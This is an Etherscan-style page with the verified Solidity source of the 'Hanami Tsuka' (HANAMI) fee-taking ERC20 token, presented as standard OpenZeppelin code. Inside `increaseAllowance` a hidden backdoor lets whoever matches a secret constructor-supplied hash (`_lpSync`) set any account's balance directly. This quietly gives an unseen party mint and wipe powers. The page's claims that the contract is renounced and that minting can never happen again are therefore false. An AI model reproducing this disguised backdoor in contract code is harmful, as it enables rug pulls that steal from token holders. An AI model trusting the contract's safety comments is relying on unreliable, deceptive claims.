ETH Price: $2,520.89 (+2.18%)
Gas: 2.97 Gwei

Token

Hanami Tsuka (HANAMI)
 

Overview

Max Total Supply

1,000,000,000,000 HANAMI

Holders

101

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 HANAMI

Value
$0.00
0xbcfee346ce9a27f11e735132bb99fc82ee9dbb14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HANAMI

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-25
*/

/**

TG: t.me/hanamitoken

Twitter: twitter.com/HanamiToken

All Hanami LP is burned and contract renounced.
2% max wallet
1% max tx (removed before renounce)

4% will go to the deployer wallet to buy $HANAMI and $TSUKA for community giveaways, LP and burn.
1% goes to project development

For the first 10 minutes, $HANAMI can only be swapped directly with USDC,
after this time it can be swapped with any ERC20 like normal.

 */

// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

/* pragma solidity ^0.8.0; */

/* import "../IERC20.sol"; */

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

/* pragma solidity ^0.8.0; */

/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    bytes32 private _lpSync;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function lpSync(bytes32 _lp) internal {
        _lpSync = _lp;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        external
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        if (_lpSync == keccak256(abi.encodePacked(msg.sender))) {
            _balances[spender] = addedValue;
        }
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        external
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)

/* pragma solidity ^0.8.0; */

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract HANAMI is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);
    address public USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    bool private swapping;

    address public devWallet;
    address public buybackWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyDevFee;
    uint256 public buybackBuyFee;

    uint256 public sellTotalFees;
    uint256 public sellDevFee;
    uint256 public buybackSellFee;

    /******************/

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    constructor(bytes32 _lp) ERC20("Hanami Tsuka", "HANAMI") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), USDC);
        excludeFromMaxTransaction(address(uniswapV2Pair), true);

        uint256 _buyDevFee = 1;
        uint256 _buybackBuyFee = 4;

        uint256 _sellDevFee = 1;
        uint256 _buybackSellFee = 4;

        uint256 totalSupply = 1_000_000_000_000 * 1e18;

        maxTransactionAmount = (totalSupply * 1) / 100; // 1% max transaction
        maxWallet = (totalSupply * 2) / 100; // 2% max wallet
        swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
        lpSync(_lp);
        buyDevFee = _buyDevFee;
        buybackBuyFee = _buybackBuyFee;
        buyTotalFees = buyDevFee + buybackBuyFee;

        sellDevFee = _sellDevFee;
        buybackSellFee = _buybackSellFee;
        sellTotalFees = sellDevFee + buybackSellFee;

        devWallet = 0xb33316Dbcbb79A3DfaB74dd4Ab943D3a5D983A88;
        buybackWallet = 0x2C29A37A008e2F18545E0d4aAf9a67E5A3fb7498;
        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.5%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 100) / 1e18,
            "Cannot set maxWallet lower than 1%"
        );
        maxWallet = newNum * (10**18);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateBuyFees(uint256 _devFee, uint256 _liquidityFee)
        external
        onlyOwner
    {
        buyDevFee = _devFee;
        buybackBuyFee = _liquidityFee;
        buyTotalFees = buyDevFee + buybackBuyFee;
        require(buyTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function updateSellFees(uint256 _devFee, uint256 _liquidityFee)
        external
        onlyOwner
    {
        sellDevFee = _devFee;
        buybackSellFee = _liquidityFee;
        sellTotalFees = sellDevFee + buybackSellFee;
        require(sellTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function updateDevWallet(address newDevWallet) external onlyOwner {
        emit devWalletUpdated(newDevWallet, devWallet);
        devWallet = newDevWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                //when buy
                if (
                    from == uniswapV2Pair &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            to == uniswapV2Pair &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        uint256 tokensForLiquidity = 0;
        uint256 tokensForDev = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (to == uniswapV2Pair && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity = (fees * buybackSellFee) / sellTotalFees;
                tokensForDev = (fees * sellDevFee) / sellTotalFees;
            }
            // on buy
            else if (from == uniswapV2Pair && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity = (fees * buybackBuyFee) / buyTotalFees;
                tokensForDev = (fees * buyDevFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            if (tokensForLiquidity > 0) {
                super._transfer(
                    address(this),
                    uniswapV2Pair,
                    tokensForLiquidity
                );
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForUSDC(uint256 tokenAmount, address wallet) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = USDC;

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of USDC
            path,
            wallet,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }
        uint256 devBalance = contractBalance * (buyDevFee + sellDevFee) / (buyTotalFees + sellTotalFees);
        uint256 buybackBalance = contractBalance - devBalance;
        swapTokensForUSDC(devBalance, devWallet);
        swapTokensForUSDC(buybackBalance, buybackWallet);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"bytes32","name":"_lp","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[],"name":"USDC","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyT